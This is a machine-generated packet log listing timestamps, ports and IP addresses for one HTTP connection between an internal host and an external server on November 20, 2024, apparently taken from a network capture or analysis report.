Nov 20, 2024 07:56:45.711204052 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.711208105 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.711220980 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.711224079 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.711230040 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.711231947 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.711246014 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.711261034 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.711287022 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.711961031 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.712008953 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.712008953 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.712018967 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.712048054 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.712718010 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.712760925 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.712857962 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.712869883 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.712886095 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.712894917 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.712903976 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.712909937 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.712915897 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.712919950 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.712933064 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.712935925 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.712945938 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.712958097 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.712961912 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.712980986 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.712994099 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.768650055 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.768667936 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.768687010 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.768781900 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.792635918 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.792653084 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.792670965 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.792771101 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.792793036 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.792809963 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.792826891 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.792838097 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.792845964 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.792853117 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.792865992 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.792869091 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.792877913 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.792885065 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.792891026 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.792905092 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.792907000 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.792917013 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.792927980 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.792929888 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.792946100 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.792954922 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.792977095 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793021917 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793104887 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793114901 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793128014 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793139935 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793142080 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793154955 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793163061 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793179035 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793196917 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793250084 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793261051 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793277025 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793324947 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793342113 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793385983 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793395996 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793411016 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793420076 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793421030 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793426037 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793431997 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793447018 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793448925 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793459892 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793467999 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793473005 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793489933 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793489933 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793509960 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793529034 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793590069 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793644905 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793656111 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793672085 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793680906 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793699980 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793833017 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793843985 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793853998 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793868065 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793883085 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793886900 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793893099 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793905973 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793908119 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793917894 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793925047 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793931007 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793941975 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793943882 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.793963909 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.793982029 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.794054985 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.794229031 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794246912 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794256926 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794270992 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794271946 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.794291973 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.794294119 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794305086 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794310093 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.794317961 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794326067 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.794328928 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794342041 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794343948 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.794354916 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794363976 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.794368029 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794379950 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794388056 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.794393063 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794404984 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794408083 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.794418097 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794425011 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.794431925 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794440031 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.794445038 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794456959 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794462919 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.794470072 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794477940 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.794481993 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794497967 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.794500113 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.794516087 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.794532061 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.794569016 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.797895908 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.797908068 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.797928095 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.797938108 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.797947884 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.797959089 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.797962904 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.797975063 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.797983885 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798008919 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798023939 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798033953 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798048019 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798059940 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798068047 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798073053 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798084021 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798085928 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798100948 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798101902 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798110962 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798119068 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798136950 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798211098 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798284054 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798294067 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798309088 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798321962 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798325062 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798341036 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798356056 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798506975 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798527002 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798537016 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798546076 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798552036 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798562050 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798568010 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798573971 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798585892 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798587084 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798600912 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798605919 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798614025 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798621893 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798629045 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798640013 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798687935 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798707008 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798707008 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798721075 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798722982 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798733950 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798753977 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798769951 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798775911 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798787117 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798801899 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.798806906 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798823118 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.798839092 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.854665995 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.854680061 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.854698896 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.854748011 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.854762077 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.854774952 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.854784966 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.854788065 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.854788065 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.854800940 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.854810953 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.854827881 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.855261087 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.878828049 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.878844976 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.878865004 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.878875971 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.878952026 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.878962994 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.878971100 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.878971100 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.878998041 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879008055 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879009008 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879019976 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879025936 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879029989 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879051924 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879054070 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879070997 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879076958 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879081964 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879095078 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879096985 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879112005 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879113913 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879122019 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879136086 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879137039 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879156113 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879162073 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879173040 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879173040 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879189014 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879192114 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879199028 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879210949 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879213095 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879225016 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879225969 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879242897 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879244089 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879251957 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879266024 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879287958 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879352093 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879364014 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879379034 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879389048 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879393101 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879399061 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879412889 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879416943 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879435062 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879439116 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879446030 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879458904 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879460096 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879470110 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879472971 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879487991 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879492998 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879503012 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879509926 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879513025 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879527092 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879528999 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879537106 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879545927 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879554033 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879560947 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879580975 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879601955 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879611969 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879631996 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879643917 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879648924 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879664898 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879671097 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879681110 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879682064 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879693985 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879703999 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879705906 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879723072 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879725933 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879745007 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879762888 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879770041 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879837036 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879848957 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879873037 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879892111 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879892111 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879904032 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879914045 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879920006 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879937887 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879952908 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879955053 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.879962921 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.879980087 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880002022 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880023003 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880047083 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880059004 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880073071 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880089045 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880089998 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880105019 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880106926 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880117893 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880125046 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880131960 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880141973 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880143881 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880156040 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880160093 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880168915 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880178928 CET	49167	80	192.168.2.22	192.3.243.136
